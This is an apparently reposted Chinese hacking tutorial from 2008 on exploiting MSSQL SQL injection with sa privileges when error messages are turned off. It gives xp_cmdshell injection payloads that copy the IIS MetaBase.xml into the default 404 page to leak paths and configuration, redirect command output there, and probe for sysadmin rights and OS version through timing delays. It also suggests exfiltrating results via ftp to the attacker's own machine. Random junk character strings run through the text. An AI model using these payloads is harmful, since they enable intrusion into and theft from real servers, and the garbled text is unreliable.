遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
$ i* }2 ~9 ]! L j+ W+ Y
! j- K: D# x: }) ?9 G 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。4 z+ Z9 ~2 h8 {$ W7 Z
! p+ k/ C n/ Z$ U9 T2 s. S 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
) w- h& ~' @ U
- k4 G1 t+ }' n7 R, Y& }) ? IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm/ p# o2 u7 ~; B8 F9 |9 S2 y! ~
/ Y, X9 _8 n8 i/ x* u) H 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
3 r( f, E, X. s/ B( h( j
% T2 A3 L4 `6 s, f/ w* k ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。 H8 V& f2 E& F1 u) ?7 e
: @0 q3 n8 W; \; ] 执行命令得到回显
4 A Z$ O9 Y9 S9 V9 ?- i/ p- L/ j! z- I/ k# B0 [5 Z
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--5 x' e; J7 U& t+ |
0 w# e! x! T. U7 d# u 得到文件也shi相同,把文件copy到404b.htm就行了
. F5 g/ y8 R& x5 u, I2 V; g5 x! V$ }' w" t) v5 l" [' h( H
by 28ice, 2008/6/26" ?5 @$ N& f3 E. W
- ~) K# h6 x7 Q, C5 s
摘自 28度的冰) P8 c8 y- R8 O
& ?6 m2 ?5 N. Q' N 盲注判断权限和操作系统版本
1 b I6 y# k/ _' H
- `/ Z2 ]2 F, J% [: d. u- o& Y% D 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
/ `5 j+ D9 y7 G; I& y- [ R. u: G; D0 D0 Q9 J. [* H" P
最简单的,可能以用这样的方法:5 w, K4 F$ _) v8 |6 g: a2 E
' x! s$ h* d3 h: G) J, N/ @6 |$ H 1=(select IS_SRVROLEMEMBER(’sysadmin’))
0 g7 E6 z7 g- P& @
* S4 r* L. {( ? R 当然,有些情况下,这个方法并不奏效。
! r* a/ H9 F9 ?; ]8 a; i
+ S# ^/ U+ d4 y5 u6 o) @8 U2 {' z 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。/ R- K: Y' M' c: x* o" S1 R
- p2 D; W4 y6 g- v 有个3办法可能以解决这个问题# s" R3 C' z0 W) |) b( Z
+ F& m2 |& Q5 u/ i' v5 S! C5 H) K, G# S a.把执行结果写到404b.htm,具体请看我的上一篇文章6 T! t6 N% m7 v2 O, Y# J. J
8 i. [4 @6 O3 k" G b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
1 `- q! w$ G7 { p! g4 r: W7 }0 K: }; p l7 l* g$ L
c.如果1433端口可能以连接,那干脆新建个sql登录
1 Z: h3 H/ x. T* c5 R/ s# n! f# \. |$ R8 d5 ^
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
: ^7 B2 l- z$ E( A& Y- H% R
2 j/ Z% a# k/ Q6 N$ R: P, ~( V: w 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
- ` a! M+ p0 V4 ?; U' z I& t# j+ p" f) T, M( @9 A
很简单# n3 h# j$ f9 U' z v
- p0 u; g! V; w' I' _5 ~
执行systeminfo. H$ Y/ V3 m" o
G1 q1 |5 Y3 B! h" O" J
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |